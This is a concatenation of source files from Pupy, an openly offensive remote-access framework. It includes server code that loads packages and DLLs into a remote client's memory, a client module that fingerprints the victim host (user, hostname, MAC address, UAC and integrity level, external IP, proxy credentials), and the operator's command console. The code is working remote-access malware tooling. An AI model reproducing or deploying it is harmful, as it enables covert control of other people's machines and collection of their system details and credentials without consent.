                    packed_args = None

                result = self.conn.obtain_call(function, packed_args)
                result = zlib.decompress(result)
                result = umsgpack.loads(result)

                return result

            self.obtain_call = obtain_call

        if self.obtain_call:
            self.imported_modules = set(
                as_native_string(name) for name in self.obtain_call(
                    self.conn.modules.sys.modules.keys
                )
            )
            self.cached_modules = set(
                as_native_string(name) for name in self.obtain_call(
                    self.pupyimporter.modules.keys
                )
            )
        else:
            self.imported_modules = set(
                as_native_string(name) for name in obtain(
                    self.conn.modules.sys.modules.keys()
                )
            )

            self.cached_modules = set(
                as_native_string(name) for name in obtain(
                    self.pupyimporter.modules.keys()
                )
            )

        try:
            self.new_dlls = self.remote('pupyimporter', 'new_dlls')
        except AttributeError:
            self.new_dlls = False

        try:
            self.new_modules = self.remote('pupyimporter', 'new_modules')
        except AttributeError:
            self.new_modules = False

    def load_dll(self, modpath):
        """
        load some dll from memory like sqlite3.dll needed for some .pyd to work
        Don't load pywintypes27.dll and pythoncom27.dll with this. Use
        load_package("pythoncom") instead
        """

        name = path.basename(modpath)
        if name in self.imported_dlls:
            return False

        buf = dependencies.dll(self.target, name)

        if not buf:
            raise ImportError('Shared object {} not found'.format(name))

        if self.pupy_load_dll:
            result = self.pupy_load_dll(name, buf)
        else:
            result = self.conn.modules.pupy.agent.load_dll(name, buf)

        if not result:
            raise ImportError('Couldn\'t load shared object {}'.format(name))
        else:
            self.imported_dlls.add(name)

        return True

    def filter_new_modules(self, modules, dll, force=None, remote=False):
        if force is None:
            modules = set(
                x for x in modules if x not in self.imported_modules
            )

            modules = set(
                module for module in modules if not any(
                    cached_module.startswith(
                        tuple(x.format(module.replace('.', '/')) for x in (
                            '{}.py', '{}/__init__.py', '{}.pyd', '{}.so',
                        ))
                    ) for cached_module in self.cached_modules
                )
            )

        if not modules:
            return []

        if remote:
            return modules

        if dll:
            if self.new_dlls:
                logger.debug('Request new dlls for %s', modules)
                return self.new_dlls(tuple(modules))
            else:
                return tuple(
                    module for module in modules
                    if module not in self.imported_dlls
                )
        else:
            logger.debug('Request new modules for %s', modules)

            if self.new_modules:
                new_modules = self.new_modules(tuple(modules))
            else:
                new_modules = tuple(
                    module for module in modules
                    if not self.pupyimporter.has_module(module)
                )

            for module in modules:
                if module not in new_modules:
                    self.imported_modules.add(module)
                    logger.debug('Add to imported_modules cache: %s', module)

            if force is not None:
                for module in modules:
                    if module not in new_modules:
                        force.add(module)
                        logger.debug('Add to new_modules: %s', module)

                return modules
            else:
                return new_modules

    def invalidate_packages(self, packages):
        if isinstance(packages, basestring):
            packages = [packages]

        invalidated = False

        with self.remotes_lock:
            for module in packages:
                self.pupyimporter.invalidate_module(module)

                for m in list(self.remotes):
                    if m == module or m.startswith(module+'.'):
                        invalidated = True
                        del self.remotes[m]

                to_remove = set()
                for m in self.imported_modules:
                    if m == module or m.startswith(module+'.'):
                        invalidated = True
                        to_remove.add(m)

                for m in to_remove:
                    self.imported_modules.remove(m)

                to_remove = set()
                for m in self.cached_modules:
                    if m == module or m.startswith(module+'.'):
                        invalidated = True
                        to_remove.add(m)

                for m in to_remove:
                    self.cached_modules.remove(m)

        return invalidated

    def load_package(
        self, requirements, force=False, remote=False, new_deps=[],
            honor_ignore=True, target=None):
        try:
            forced = None
            if force:
                forced = set()
            logger.debug("target: %s", self.target)
            logger.debug("requirements: %s", requirements)
            packages, contents, dlls = dependencies.package(
                self.target, requirements,
                remote=remote,
                honor_ignore=honor_ignore,
                filter_needed_cb=lambda modules, dll: self.filter_new_modules(
                    modules, dll, forced, remote
                )
            )

            self.cached_modules.update(contents)

        except dependencies.NotFoundError as e:
            raise ValueError('Module not found: {}'.format(e))

        if remote:
            logger.info(
                'load_package(%s) -> p:%s d:%s',
                requirements,
                len(packages) if packages else None,
                len(dlls) if dlls else None
            )

            return packages, dlls

        if not contents and not dlls:
            return False

        if dlls:
            if self.pupy_load_dll:
                for name, blob in dlls:
                    self.pupy_load_dll(name, blob)
            else:
                for name, blob in dlls:
                    self.conn.modules.pupy.load_dll(name, blob)

            if not contents:
                return True

        if not contents:
            return False

        if forced:
            self.invalidate_packages(forced)

        logger.info('Upload packages bundle, size=%d', len(packages))
        self.remote_add_package(
            packages,
            compressed=True,
            # Use None to prevent import-then-clean-then-search behavior
            name=(
                None if type(requirements) != str else requirements
            )
        )

        new_deps.extend(contents)
        return True

    def unload_package(self, module_name):
        if not module_name.endswith(('.so', '.dll', '.pyd')):
            self.remote_invalidate_module(module_name)

    def remote_load_package(self, module_name):
        module_name = as_native_string(module_name)

        logger.info('remote_load_package for %s started', module_name)

        try:
            return self.load_package(module_name, remote=True)

        except dependencies.NotFoundError:
            logger.info('remote_load_package for %s failed', module_name)
            return None, None

        finally:
            logger.info('remote_load_package for %s completed', module_name)

    def remote_print_error(self, msg):
        self.pupsrv.handler.display_warning(msg)


================================================
FILE: pupy/pupylib/PupyClientInitializer.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import platform
import getpass
import uuid
import sys
import os
import logging
import socket
import pupy.agent as pupy



def _as_unicode(x):
    if isinstance(x, bytes):
        try:
            return x.decode(sys.getfilesystemencoding())
        except UnicodeError:
            try:
                return x.decode('UTF-8')
            except UnicodeError:
                return x.decode('latin1')

    return x


# Restore write/stdout/stderr


if not hasattr(os, 'real_write'):
    if type(os.write).__name__ == 'builtin_function_or_method':
        setattr(os, 'real_write', os.write)


allowed_std = ('file', 'Blackhole', 'NoneType')


if not hasattr(sys, 'real_stdout') and type(
        sys.stdout).__name__ in allowed_std:
    setattr(sys, 'real_stdout', sys.stdout)


if not hasattr(sys, 'real_stderr') and type(
        sys.stderr).__name__ in allowed_std:
    setattr(sys, 'real_stderr', sys.stderr)


if not hasattr(sys, 'real_stdin') and type(
        sys.stdin).__name__ in allowed_std:
    setattr(sys, 'real_stdin', sys.stdin)


if not hasattr(os, 'stdout_write'):
    def stdout_write(fd, s):
        if fd == 1:
            return sys.stdout.write(s)
        elif fd == 2:
            return sys.stderr.write(s)
        else:
            return os.real_write(fd, s)

    setattr(os, 'stdout_write', stdout_write)


def redirect_stdo(stdout, stderr):
    if not hasattr(sys, 'real_stdout'):
        setattr(sys, 'real_stdout', sys.stdout)

    if not hasattr(sys, 'real_stderr'):
        setattr(sys, 'real_stderr', sys.stdout)

    sys.stdout = stdout
    sys.stderr = stderr
    os.write = os.stdout_write


def redirect_stdio(stdin, stdout, stderr):
    if not hasattr(sys, 'real_stdin'):
        setattr(sys, 'real_stdin', sys.stdin)

    sys.stdin = stdin
    redirect_stdo(stdout, stderr)


def reset_stdo():
    if hasattr(sys, 'real_stdout'):
        sys.stdout = sys.real_stdout

    if hasattr(sys, 'real_stderr'):
        sys.stderr = sys.real_stderr

    os.write = os.real_write


def reset_stdio():
    if hasattr(sys, 'real_stdin'):
        sys.stdout = sys.real_stdin

    reset_stdo()


def get_integrity_level():
    '''from http://www.programcreek.com/python/example/3211/ctypes.c_long'''

    if sys.platform != 'win32':
        if os.geteuid() != 0:
            return "Medium"
        else:
            return "High"

    import ctypes

    mapping = {
        0x0000: u'Untrusted',
        0x1000: u'Low',
        0x2000: u'Medium',
        0x2100: u'Medium high',
        0x3000: u'High',
        0x4000: u'System',
        0x5000: u'Protected process',
    }

    BOOL = ctypes.c_long
    DWORD = ctypes.c_ulong
    HANDLE = ctypes.c_void_p

    class SID_AND_ATTRIBUTES(ctypes.Structure):
        _fields_ = [
            ('Sid', ctypes.c_void_p),
            ('Attributes', DWORD),
        ]

    class TOKEN_MANDATORY_LABEL(ctypes.Structure):
        _fields_ = [
            ('Label', SID_AND_ATTRIBUTES),
        ]

    TOKEN_READ = DWORD(0x20008)
    TokenIntegrityLevel = ctypes.c_int(25)
    ERROR_INSUFFICIENT_BUFFER = 122

    kernel32 = ctypes.windll.WinDLL('kernel32')
    advapi32 = ctypes.windll.WinDLL('advapi32')

    GetLastError = kernel32.GetLastError
    GetLastError.argtypes = ()
    GetLastError.restype = DWORD

    CloseHandle = kernel32.CloseHandle
    CloseHandle.argtypes = (HANDLE,)

    GetCurrentProcess = kernel32.GetCurrentProcess
    GetCurrentProcess.argtypes = ()
    GetCurrentProcess.restype = ctypes.c_void_p

    OpenProcessToken = advapi32.OpenProcessToken
    OpenProcessToken.argtypes = (
            HANDLE, DWORD, ctypes.POINTER(HANDLE))
    OpenProcessToken.restype = BOOL

    GetTokenInformation = advapi32.GetTokenInformation
    GetTokenInformation.argtypes = (
            HANDLE, ctypes.c_long, ctypes.c_void_p,
            DWORD, ctypes.POINTER(DWORD)
    )
    GetTokenInformation.restype = BOOL

    GetSidSubAuthorityCount = advapi32.GetSidSubAuthorityCount
    GetSidSubAuthorityCount.argtypes = (
        ctypes.c_void_p,
    )
    GetSidSubAuthorityCount.restype = ctypes.POINTER(ctypes.c_ubyte)

    GetSidSubAuthority = advapi32.GetSidSubAuthority
    GetSidSubAuthority.argtypes = (
        ctypes.c_void_p, DWORD
    )
    GetSidSubAuthority.restype = ctypes.POINTER(DWORD)

    token = ctypes.c_void_p()
    proc_handle = GetCurrentProcess()

    if not OpenProcessToken(
            proc_handle, TOKEN_READ, ctypes.byref(token)):
        logging.error('Failed to get process token')
        return None

    if token.value == 0:
        logging.error('Got a NULL token')
        return None

    try:
        info_size = DWORD()
        if GetTokenInformation(
            token, TokenIntegrityLevel, ctypes.c_void_p(),
                info_size, ctypes.byref(info_size)):
            logging.error('GetTokenInformation() failed expectation')
            return None

        if info_size.value == 0:
            logging.error('GetTokenInformation() returned size 0')
            return None

        dwLastError = GetLastError()

        if dwLastError != ERROR_INSUFFICIENT_BUFFER:

            logging.error(
                'GetTokenInformation(): Unknown error: %d',
                dwLastError
            )
            return None

        token_info = TOKEN_MANDATORY_LABEL()
        ctypes.resize(token_info, info_size.value)

        if not GetTokenInformation(
            token, TokenIntegrityLevel, ctypes.byref(token_info),
                info_size, ctypes.byref(info_size)):

            logging.error(
                'GetTokenInformation(): Unknown error with buffer size %d: %d',
                info_size.value, GetLastError()
            )
            return None

        p_sid_size = GetSidSubAuthorityCount(token_info.Label.Sid)
        res = GetSidSubAuthority(
            token_info.Label.Sid, p_sid_size.contents.value - 1
        )
        value = res.contents.value

        return mapping.get(value) or u'0x%04x' % value

    finally:
        CloseHandle(token)


def getUACLevel():
    if sys.platform != 'win32':
        return 'N/A'

    from _winreg import (
        ConnectRegistry, HKEY_LOCAL_MACHINE, OpenKey,
        EnumValue, CloseKey
    )

    consentPromptBehaviorAdmin = None
    enableLUA = None
    promptOnSecureDesktop = None

    try:
        Registry = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
        RawKey = OpenKey(
            Registry,
            'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
        )

        i = 0

        while True:
            try:
                name, value, type = EnumValue(RawKey, i)
                if name == "ConsentPromptBehaviorAdmin":
                    consentPromptBehaviorAdmin = value
                elif name == "EnableLUA":
                    enableLUA = value
                elif name == "PromptOnSecureDesktop":
                    promptOnSecureDesktop = value

                i += 1

            except WindowsError:
                break

    except Exception:
        return "?"

    finally:
        CloseKey(RawKey)

    if consentPromptBehaviorAdmin == 2 and enableLUA == 1 and \
            promptOnSecureDesktop == 1:
        return "3/3"
    elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and \
            promptOnSecureDesktop == 1:
        return "2/3"
    elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and \
            promptOnSecureDesktop == 0:
        return "1/3"
    elif enableLUA == 0:
        return "0/3"
    else:
        return "?"


def GetUserName():
    from ctypes import (
        windll, WinError, create_unicode_buffer,
        byref, c_uint32, GetLastError
    )

    DWORD = c_uint32
    nSize = DWORD(0)
    windll.secur32.GetUserNameExW(2, None, byref(nSize))
    error = GetLastError()
    ERROR_INSUFFICIENT_BUFFER = 122
    ERROR_MORE_DATA_AVAILABLE = 234

    if error not in (ERROR_INSUFFICIENT_BUFFER, ERROR_MORE_DATA_AVAILABLE):
        raise WinError(error)

    lpBuffer = create_unicode_buffer('', nSize.value + 1)
    nSize = DWORD(nSize.value + 1)
    success = windll.secur32.GetUserNameExW(2, lpBuffer, byref(nSize))

    if not success:
        raise WinError(GetLastError())

    return lpBuffer.value


def get_uuid():
    user = None
    hostname = None
    node = None
    plat = None
    release = None
    version = None
    machine = None
    macaddr = None
    pid = None
    proc_arch = None
    proc_path = sys.executable
    cmdline = None

    if hasattr(sys, 'real_argv'):
        cmdline = ' '.join(sys.real_argv)
    elif sys.argv:
        cmdline = ' '.join(sys.argv)
    else:
        cmdline = proc_path

    uacLevel = None
    integrity_level = None

    try:
        if sys.platform == 'win32':
            user = _as_unicode(GetUserName())
        else:
            user = _as_unicode(getpass.getuser())
    except Exception as e:
        logging.exception(e)
        user = '?'

    try:
        hostname = _as_unicode(platform.node())
        if sys.platform == 'win32' and user.startswith(hostname + '\\'):
            user = user.split('\\', 1)[1]
    except Exception:
        pass

    try:
        hostname = socket.getfqdn().lower()
        if hostname.endswith(('.localdomain', '.localhost')):
            hostname, _ = hostname.rsplit('.', 1)
    except Exception:
        pass

    try:
        version = platform.platform()
    except Exception:
        pass

    try:
        plat = platform.system()
        if plat == 'Java':
            # Jython!
            if hasattr(sys, 'system_java'):
                plat = sys.system_java
            else:
                jsystem = sys.platform.getshadow()

                # Fix this crap
                setattr(sys, 'platform', jsystem)

                if jsystem == 'linux2':
                    plat = 'Linux+Java'
                elif jsystem == 'win32':
                    plat = 'Windows+Java'
                else:
                    plat = jsystem + '+Java'

                setattr(sys, 'system_java', plat)

                import ctypes.util
                plat += '+JyNI'

                setattr(sys, 'system_java', plat)

                del ctypes.util

    except Exception:
        pass

    try:
        release = platform.release()
    except Exception:
        pass

    try:
        version = platform.version()
    except Exception:
        pass

    try:
        machine = platform.machine()
    except Exception:
        pass

    try:
        pid = os.getpid()
    except Exception:
        pass

    try:
        osname = os.name
    except Exception:
        pass

    try:
        proc_arch = platform.architecture()[0]
    except Exception:
        pass

    try:
        node = '{:012x}'.format(uuid.getnode())
        macaddr = ':'.join(node[i:i+2] for i in range(0, 12, 2))
    except Exception:
        pass

    try:
        uacLevel = getUACLevel()
    except Exception:
        uacLevel = "?"

    try:
        integrity_level = get_integrity_level()
    except Exception:
        integrity_level = "?"

    try:
        if hasattr(pupy, 'cid'):
            cid = pupy.cid
        elif hasattr(pupy, 'client'):
            cid = pupy.client.cid
    except:
        cid = None

    proxy = None
    try:
        from pupy.network.lib.proxies import LAST_PROXY, has_wpad
        if hasattr(pupy, 'client') and pupy.client.connection_info.get(
                'proxies', []):
            try:
                proxy = ' -> '.join(
                    '{}://{}{}'.format(
                        proxy.type,
                        '{}:{}@'.format(
                            proxy.username, proxy.password
                        ) if proxy.username or proxy.password else '',
                        proxy.addr
                    ) for proxy in pupy.client.connection_info['proxies']
                )
            except Exception as e:
                proxy = str(e)

        elif LAST_PROXY:
            proxy = tuple([
                x for x in LAST_PROXY if x
            ])
        elif has_wpad:
            proxy = 'wpad'

    except ImportError:
        proxy = None

    try:
        external_ip = None

        from pupy.network.lib.online import LAST_EXTERNAL_IP
        if LAST_EXTERNAL_IP:
            external_ip = str(LAST_EXTERNAL_IP)
    except ImportError:
        external_ip = None

    return {
        'user': user,
        'hostname': hostname,
        'node': node,
        'platform': plat,
        'release': release,
        'version': version,
        'os_arch': machine,
        'os_name': osname,
        'node': node,
        'macaddr': macaddr,
        'pid': pid,
        'proc_arch': proc_arch,
        'exec_path': proc_path,
        'cmdline': cmdline,
        'uac_lvl': uacLevel,
        'intgty_lvl': integrity_level,
        'cid': cid,
        'proxy': proxy,
        'external_ip': external_ip
    }


================================================
FILE: pupy/pupylib/PupyCmd.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or
# without modification, are permitted provided that the following
# conditions are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
import sys
import cmd
import os
import os.path
import traceback
import time

import termios
import tty
import pty
import select
import fcntl
import array
import readline
import logging

from threading import Thread, Event, Lock
from subprocess import Popen, PIPE, STDOUT

from pupy.network.lib.base_launcher import LauncherError

from .PupyErrors import PupyModuleExit, PupyModuleError, PupyModuleUsageError
from .PupyModule import (
    REQUIRE_NOTHING, REQUIRE_REPL, REQUIRE_TERMINAL
)
from .PupyCompleter import CompletionContext
from .PupyVersion import BANNER, UPSTREAM, DISCLAIMER
from .PupyOutput import (
    Line, Color, Title, NewLine, Info,
    ServiceInfo, Warn, Error, Success,  Indent
)

from .utils.term import (
    colorize, as_term_bytes, consize, fix_stdout,
    SHADOW_SCREEN_TO, SHADOW_SCREEN_FROM,
    CUR_LEFT, STOR_CUR, LOAD_CUR, DEL_RIGHT,
    DEFAULT_MULTIBYTE_CP
)

from .PupySignalHandler import set_signal_winch

from pupy.commands import Commands, InvalidCommand

from termios import TCSANOW

from . import getLogger
logger = getLogger('cmd')

if sys.version_info.major > 2:
    xrange = range

    def bm_byte(x):
        return bytes((x,))

else:
    def bm_byte(x):
        return x


class ObjectStreamPipeConsumer(Thread):
    __slots__ = (
        'pipe', '_write', '_nocrlf',
        '_write_lock', '_read_lock'
    )

    def __init__(self, pipe, write, nocrlf):
        self.pipe = Popen(
            pipe, shell=True,
            stdin=PIPE, stdout=PIPE, stderr=STDOUT
        )
        self._write = write
        self._nocrlf = nocrlf
        self._write_lock = Lock()
        self._read_lock = Lock()

        super(ObjectStreamPipeConsumer, self).__init__()
        self.daemon = True

    def write(self, message):
        text = as_term_bytes(message)
        text = text.strip(' ')

        if not text:
            return

        if not self._nocrlf:
            text += '\n'

        with self._write_lock:
            if not isinstance(text, bytes):
                text = text.encode('utf-8')

            self.pipe.stdin.write(text)

    def close(self):
        with self._write_lock:
            self.pipe.stdin.close()

        with self._read_lock:
            self.pipe.wait()

    def run(self):
        while True:
            with self._read_lock:
                chunk = self.pipe.stdout.read()

            if not chunk:
                break

            self._write(chunk)


class ObjectStream(object):
    __slots__ = ('_buffer', '_display', '_stream', '_pipe', '_pipe_cmd')

    def __init__(self, display=None, stream=False, pipe=None):
        self._buffer = []
        self._display = display
        self._stream = stream
        self._pipe_cmd = pipe
        self._pipe = None

    def write(self, data):
        if self._pipe_cmd:
            if self._pipe is None:
                self._pipe = ObjectStreamPipeConsumer(
                    self._pipe_cmd,
                    self._display if self._display else self._buffer.append,
                    self._stream
                )
                self._pipe.start()

            self._pipe.write(data)

        elif self._display:
            self._display(data, nocrlf=self._stream)
        else:
            self._buffer.append(data)

    def close(self):
        if self._pipe:
            self._pipe.close()
            self._pipe.join()
            self._pipe = None

    def flush(self):
        pass

    def getvalue(self):
        self.close()

        blocks = self._buffer
        self._buffer = []
        return blocks

    @property
    def is_stream(self):
        return self._stream

    def __nonzero__(self):
        return bool(self._buffer)


class IOGroup(object):
    __slots__ = ('_stdin', '_stdout', '_logger', '_pipe')

    def __init__(self, stdin, stdout, logger=None, pipe=None):
        self._stdin = stdin
        self._stdout = stdout
        self._logger = logger
        self._pipe = None

        if pipe:
            self._pipe = Popen(
                pipe, shell=True,
                stdout=stdout, stdin=PIPE, stderr=STDOUT
            )

            self._stdout = self._pipe.stdin

    @property
    def stdin(self):
        return self._stdin

    @property
    def stdout(self):
        return self._stdout

    def set_logger(self, logger):
        if self._logger:
            self._logger.close()

        self._logger = logger

    def set_title(self, title):
        pass

    def as_bytes(self, msg):
        return as_term_bytes(msg)

    def close(self):
        if self._pipe:
            self._pipe.communicate()

        if isinstance(self._stdout, ObjectStream):
            self._stdout.close()

    @property
    def consize(self):
        return 80, 25


class RawTerminal(IOGroup):
    __slots__ = (
        '_active',
        '_specials',
        '_special_state',
        '_special_activated',
        '_shadow_screen',
        '_last_window_size',
        '_on_winch',
        '_closed',
        '_tc_settings',
        '_winch_handler',
        '_stdin_fd',
        '_stdout_fd'
    )

    def __init__(self, stdin, stdout, shadow_screen=True):
        self._stdin = stdin
        self._stdout = stdout
        self._specials = {}
        self._on_winch = None
        self._active = False
        self._tc_settings = None
        self._winch_handler = None
        self._shadow_screen = shadow_screen

        self._stdin_fd = None
        self._special_state = b''
        self._special_activated = False

        self._last_window_size = None

    def _get_window_size(self):
        buf = array.array('H', [0, 0, 0, 0])
        fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCGWINSZ, buf, True)
        return buf[0], buf[1], buf[2], buf[3]

    @property
    def window_size(self):
        if self._last_window_size is None:
            self._last_window_size = self._get_window_size()

        return self._last_window_size

    def _on_sigwinch(self, signum, frame):
        self._last_window_size = self._get_window_size()

        if self._on_winch is not None:
            self._on_winch(*self._last_window_size)

    def _stdin_read(self):
        buf = b''
        while self._active:
            r, _, _ = select.select([self._stdin], [], [], 0.5)
            if not r:
                continue

            buf_ = array.array('i', [0])

            if fcntl.ioctl(self._stdin, termios.FIONREAD, buf_, 1) == -1:
                break

            if not buf_[0]:
                continue

            buf += os.read(self._stdin_fd, buf_[0])
            if buf:
                break

        return buf

    def __iter__(self):
        self._on_sigwinch(None, None)

        while self._active:
            buf = self._stdin_read()
            if not self._specials:
                if self._active and buf:
                    yield buf
            else:
                self._special_state += buf

                data_buf = b''

                while self._special_state:
                    again = False

                    data_buf = b''
                    special_buf = b''

                    for b in self._special_state:
                        b = bm_byte(b)

                        if self._special_activated:
                            if not special_buf and b != b'~':
                                data_buf += b
                                if b == b'\r':

                                    yield data_buf
                                    self._special_state = self._special_state[
                                        len(data_buf):]

                                    data_buf = b''
                                    again = True
                                    break
                                else:
                                    self._special_activated = False
                                    continue
                            else:

                                special_buf += b
                                if special_buf in self._specials:
                                    cb = self._specials[special_buf]
                                    cb(self)
                                    again = True

                                    self._special_state = self._special_state[
                                        len(special_buf):]
                                    special_buf = b''
                                    self._special_activated = False
                                    break
                                elif not any([
                                            x.startswith(special_buf)
                                            for x in self._specials
                                        ]):
                                    data_buf += special_buf
                                    special_buf = b''
                                    self._special_activated = False
                        else:
                            data_buf += b
                            if b == b'\r':
                                self._special_activated = True

                                yield data_buf
                                self._special_state = self._special_state[
                                    len(data_buf):]

                                data_buf = b''
                                again = True
                                break

                    if not again:
                        break

            if data_buf:

                self._special_state = self._special_state[len(data_buf):]

                yield data_buf

    def __enter__(self):
        self._stdin_fd = self._stdin.fileno()
        self._stdout_fd = self._stdout.fileno()

        self._tc_settings = termios.tcgetattr(self._stdin_fd)
        tty.setraw(self._stdin_fd, TCSANOW)

        if self._on_winch:
            self._winch_handler = set_signal_winch(self._on_sigwinch)

        if self._shadow_screen:
            self._stdout.write(SHADOW_SCREEN_TO)

        self._active = True

    def __exit__(self, type, value, tb):
        self._active = False

        termios.tcsetattr(self._stdin_fd, termios.TCSADRAIN, self._tc_settings)

        if self._on_winch:
            set_signal_winch(self._winch_handler)

        if self._shadow_screen:
            self._stdout.write(SHADOW_SCREEN_FROM)

    def set_on_winch(self, on_winch):
        self._on_winch = on_winch

    def set_mapping(self, sequence, on_sequence):
        if not isinstance(sequence, bytes):
            sequence = sequence.encode()

        if not sequence or len(sequence) < 2 or not sequence.startswith(b'~'):
            raise ValueError(
                'Sequence should start from ~ and be at least 2 symbols'
            )

        self._specials[sequence] = on_sequence

    def write(self, data):
        if self._active:
            os.write(self._stdout_fd, data)

    def close(self):
        self._active = False

    @property
    def consize(self):
        return consize(self._stdout)

    @property
    def closed(self):
        return not self._active


class PupyCmd(cmd.Cmd):
    def __init__(self, pupsrv):
        cmd.Cmd.__init__(self)

        self.stdout = fix_stdout(self.stdout)


        self.pupsrv = pupsrv
        self.dnscnc = pupsrv.dnscnc
        self.config = pupsrv.config

        self.input = sys.stdin
        self.output = sys.stdout

        self.commands = Commands()

        self.display_lock = Lock()

        self.history_file = self.config.get_path("history")

        self.init_readline()

        self._intro = [
            Color(BANNER, 'green'),
            Indent(Color(UPSTREAM, 'cyan')),
            Indent(Color(DISCLAIMER, 'lightred'))
        ]

        self.prompt = colorize('>> ', 'blue', prompt=True)

        self.default_filter = None

        try:
            if not self.config.getboolean('cmdline', 'display_banner'):
                self._intro = []
        except Exception:
            pass

        self.aliases = {}

        for m, _ in self.pupsrv.get_aliased_modules():
            self.aliases[m] = m

        try:
            for command, alias in self.config.items('aliases'):
                logger.debug("Alias: %s => %s", command, alias)
                self.aliases[command] = alias

        except Exception as e:
            logger.exception(
                'Error while parsing aliases from pupy.conf: %s', e
            )

        self.pupsrv.register_handler(self)

        # display banner before potential error messages
        self.display(self._make_intro().decode('utf8'))

        self.intro=""

    def _make_intro(self):
        return b'\n'.join(
            as_term_bytes(x) for x in self._intro
        )

    def print_motd(self, motd={}):
        for ok in motd.get('ok', []):
            self.display_srvinfo(ok)

        for fail in motd.get('fail', []):
            self.display_error(fail)

    def default(self, line):
        return self.execute(line)

    def inject(self, line, clients_filter, message=None):
        self.display_srvinfo(message or 'Inject: {}'.format(line))
        self.execute(line, clients_filter)
        self.display_srvinfo('Action complete')

    def onecmd(self, line):
        """
         class overwritten from stdlib to avoid some disturbing stack traces
        """
        cmd, arg, line = self.parseline(line)
        if not line:
            return self.emptyline()
        if cmd is None:
            return self.default(line)
        self.lastcmd = line
        if line == 'EOF':
            self.lastcmd = ''
        if cmd == '':
            return self.default(line)
        else:
            try:
                func = getattr(self, 'do_' + cmd)
            except AttributeError:
                func = None
            if not func:
                return self.default(line)
            return func(arg)

    def execute(self, line, clients_filter=None):
        if isinstance(line, bytes):
            line = line.decode(DEFAULT_MULTIBYTE_CP)

        if line.startswith('!'):
            os.system(line[1:])
            return

        try:
            self.commands.execute(
                self.pupsrv, self,
                self.pupsrv.config, line,
                clients_filter)

            self.completion_matches = None

        except PupyModuleUsageError as e:
            prog, message, usage = e.args
            self.display(Line(Error(message, prog)))
            self.display(usage)

        except PupyModuleExit:
            pass

        except InvalidCommand as e:
            self.display(Error(
                'Unknown (or unavailable) command {}. Use help -M to '
                'list available commands and modules'.format(e)))

        except (PupyModuleError, LauncherError,
                NotImplementedError, ValueError) as e:
            if str(e) and str(e) != 'None':
                self.display(Error(e))

        if self.pupsrv.finishing.is_set():
            return True

    def init_readline(self):
        readline.set_history_length(self.config.getint('cmdline', 'history_size', fallback=10000))
        try:
            readline.read_history_file(self.history_file)
        except Exception:
            pass
        self.init_completer()

    def cmdloop(self, intro=None):
        closed = False

        while not closed:
            try:
                cmd.Cmd.cmdloop(self, intro)
                closed = True

            except KeyboardInterrupt:
                self.intro=""
                self.stdout.write(b'\n')

            except Exception as e:
                logger.exception('cmd error: %s', e)

                msg = as_term_bytes(Error(traceback.format_exc()))
                self.redraw_line(msg)
                closed = True

    def init_completer(self):
        readline.set_pre_input_hook(self.pre_input_hook)
        readline.set_completer_delims(' \t')

    def completenames(self, text, *ignored):
        try:
            completer = self.commands.completer(
                self.pupsrv, self, self.config, text)

            return completer(text)
        except Exception as e:
            logger.exception(e)

    def pre_input_hook(self):
        # readline.redisplay()
        pass

    def emptyline(self):
        """ do nothing when an emptyline is entered """
        pass

    def do_EOF(self, arg):
        """ ignore EOF """
        self.stdout.write('\n')

    def do_help(self, arg):
        """ show this help """

        try:
            self.commands.execute(
                self.pupsrv, self, self.pupsrv.config,
                'help {}'.format(arg)
            )

        except PupyModuleUsageError as e:
            prog, message, usage = e.args
            self.display(Line(Error(message, prog)))
            self.display(usage)

        except PupyModuleExit:
            pass

    def acquire_io(self, requirements, amount, background=False, pipe=None):

        stream = requirements != REQUIRE_NOTHING

        if requirements in (REQUIRE_REPL, REQUIRE_TERMINAL):
            if amount > 1:
                raise NotImplementedError(
                    'This UI does not support more than 1 repl or terminal'
                )

            if pipe:
                raise NotImplementedError(
                    'This UI does not support pipelining of repl or terminal'
                )

            if requirements == REQUIRE_TERMINAL:
                stdout2 = os.dup(self.stdout.fileno())
                return [
                    RawTerminal(
                        self.stdin,
                        os.fdopen(stdout2, 'wb', 0),
                        self.config.getboolean('cmdline', 'shadow_screen')
                    )
                ]
            else:
                return [
                    IOGroup(self.stdin, self.stdout, pipe=pipe)
                ]

        elif amount == 1 and not background:
            return [
                IOGroup(None, ObjectStream(self.display, stream, pipe=pipe))
            ]
        else:
            return [
                IOGroup(
                    None, ObjectStream(stream=stream, pipe=pipe)
                ) for _ in xrange(amount)
            ]

    def process(self, job, background=False, daemon=False, unique=False):
        if background or daemon:
            if not unique:
                self.pupsrv.add_job(job)

